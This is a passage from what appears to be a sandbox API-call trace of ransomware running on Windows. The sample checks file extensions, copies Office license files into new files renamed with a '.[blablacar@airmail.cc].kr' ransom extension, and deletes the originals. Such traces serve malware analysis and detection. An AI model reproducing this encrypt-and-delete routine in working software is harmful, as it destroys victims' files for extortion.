[0199.904] lstrlenW (lpString=".7z") returned 3 [0199.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.904] lstrlenW (lpString=".dbf") returned 4 [0199.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.904] lstrlenW (lpString=".1cd") returned 4 [0199.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.904] lstrlenW (lpString=".jpg") returned 4 [0199.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.904] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.904] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27 [0199.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.905] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11574) returned 1 [0199.905] CloseHandle (hObject=0x548) returned 1 [0199.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220 [0199.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.906] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.906] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0199.907] GetLastError () returned 0x0 [0199.907] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d36, lpOverlapped=0x0) returned 1 [0199.910] WriteFile (in: hFile=0x554, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0199.911] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.911] WriteFile (in: hFile=0x554, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0199.912] SetEndOfFile (hFile=0x554) returned 1 [0199.912] CloseHandle (hObject=0x554) returned 1 [0199.912] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.912] SetEndOfFile (hFile=0x548) returned 1 [0199.914] CloseHandle (hObject=0x548) returned 1 [0199.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1 [0199.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0199.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0199.916] lstrlenW (lpString=".doc") returned 4 [0199.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString=".docx") returned 5 [0199.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.916] lstrlenW (lpString=".pdf") returned 4 [0199.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString=".xls") returned 4 [0199.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString=".xlsx") returned 5 [0199.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.916] lstrlenW (lpString=".ppt") returned 4 [0199.916] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0199.916] lstrlenW (lpString=".zip") returned 4 [0199.916] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString=".rar") returned 4 [0199.916] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString=".bz2") returned 4 [0199.916] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.916] lstrlenW (lpString=".7z") returned 3 [0200.020] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.020] lstrlenW (lpString=".dbf") returned 4 [0200.020] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.020] lstrlenW (lpString=".1cd") returned 4 [0200.020] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.020] lstrlenW (lpString=".jpg") returned 4 [0200.020] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.025] lstrlenW (lpString=".doc") returned 4 [0200.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString=".docx") returned 5 [0200.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.025] lstrlenW (lpString=".pdf") returned 4 [0200.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString=".xls") returned 4 [0200.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString=".xlsx") returned 5 [0200.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.025] lstrlenW (lpString=".ppt") returned 4 [0200.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.025] lstrlenW (lpString=".zip") returned 4 [0200.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString=".rar") returned 4 [0200.025] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString=".bz2") returned 4 [0200.025] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.025] lstrlenW (lpString=".7z") returned 3 [0200.025] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.025] lstrlenW (lpString=".dbf") returned 4 [0200.026] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.026] lstrlenW (lpString=".1cd") returned 4 [0200.026] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0200.026] lstrlenW (lpString=".jpg") returned 4 [0200.026] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.026] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.026] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27 [0200.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.673] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19919) returned 1 [0200.673] CloseHandle (hObject=0x558) returned 1 [0200.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220 [0201.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.162] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.173] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.174] GetLastError () returned 0x0 [0201.174] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0201.176] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0201.178] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.178] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0201.178] SetEndOfFile (hFile=0x568) returned 1 [0201.178] CloseHandle (hObject=0x568) returned 1 [0201.178] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.178] SetEndOfFile (hFile=0x548) returned 1 [0201.181] CloseHandle (hObject=0x548) returned 1 [0201.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1 [0201.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.182] lstrlenW (lpString=".doc") returned 4 [0201.182] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.182] lstrlenW (lpString=".docx") returned 5 [0201.182] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.182] lstrlenW (lpString=".pdf") returned 4 [0201.182] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.182] lstrlenW (lpString=".xls") returned 4 [0201.182] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.182] lstrlenW (lpString=".xlsx") returned 5 [0201.182] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.182] lstrlenW (lpString=".ppt") returned 4 [0201.182] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString=".zip") returned 4 [0201.183] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString=".rar") returned 4 [0201.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString=".bz2") returned 4 [0201.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString=".7z") returned 3 [0201.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString=".dbf") returned 4 [0201.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString=".1cd") returned 4 [0201.183] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString=".jpg") returned 4 [0201.183] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString=".doc") returned 4 [0201.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString=".docx") returned 5 [0201.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.183] lstrlenW (lpString=".pdf") returned 4 [0201.183] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString=".xls") returned 4 [0201.183] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString=".xlsx") returned 5 [0201.183] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.183] lstrlenW (lpString=".ppt") returned 4 [0201.183] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.183] lstrlenW (lpString=".zip") returned 4 [0201.184] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.184] lstrlenW (lpString=".rar") returned 4 [0201.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.184] lstrlenW (lpString=".bz2") returned 4 [0201.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.184] lstrlenW (lpString=".7z") returned 3 [0201.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.184] lstrlenW (lpString=".dbf") returned 4 [0201.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.184] lstrlenW (lpString=".1cd") returned 4 [0201.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0201.184] lstrlenW (lpString=".jpg") returned 4 [0201.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.184] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.184] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22 [0201.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.185] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11139) returned 1 [0201.185] CloseHandle (hObject=0x548) returned 1 [0201.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220 [0201.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.185] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.185] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.186] GetLastError () returned 0x0 [0201.186] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0201.188] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0201.189] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.189] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x100, lpOverlapped=0x0) returned 1 [0201.189] SetEndOfFile (hFile=0x568) returned 1 [0201.190] CloseHandle (hObject=0x568) returned 1 [0201.190] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.190] SetEndOfFile (hFile=0x548) returned 1 [0201.193] CloseHandle (hObject=0x548) returned 1 [0201.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1 [0201.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.194] lstrlenW (lpString=".doc") returned 4 [0201.194] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.194] lstrlenW (lpString=".docx") returned 5 [0201.194] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.194] lstrlenW (lpString=".pdf") returned 4 [0201.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.194] lstrlenW (lpString=".xls") returned 4 [0201.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.194] lstrlenW (lpString=".xlsx") returned 5 [0201.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.194] lstrlenW (lpString=".ppt") returned 4 [0201.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.194] lstrlenW (lpString=".zip") returned 4 [0201.194] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.194] lstrlenW (lpString=".rar") returned 4 [0201.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString=".bz2") returned 4 [0201.195] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString=".7z") returned 3 [0201.195] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.195] lstrlenW (lpString=".dbf") returned 4 [0201.195] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.195] lstrlenW (lpString=".1cd") returned 4 [0201.195] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.195] lstrlenW (lpString=".jpg") returned 4 [0201.195] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.195] lstrlenW (lpString=".doc") returned 4 [0201.195] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString=".docx") returned 5 [0201.195] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.195] lstrlenW (lpString=".pdf") returned 4 [0201.195] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString=".xls") returned 4 [0201.195] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString=".xlsx") returned 5 [0201.195] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.195] lstrlenW (lpString=".ppt") returned 4 [0201.195] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.195] lstrlenW (lpString=".zip") returned 4 [0201.195] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.195] lstrlenW (lpString=".rar") returned 4 [0201.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.196] lstrlenW (lpString=".bz2") returned 4 [0201.196] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.196] lstrlenW (lpString=".7z") returned 3 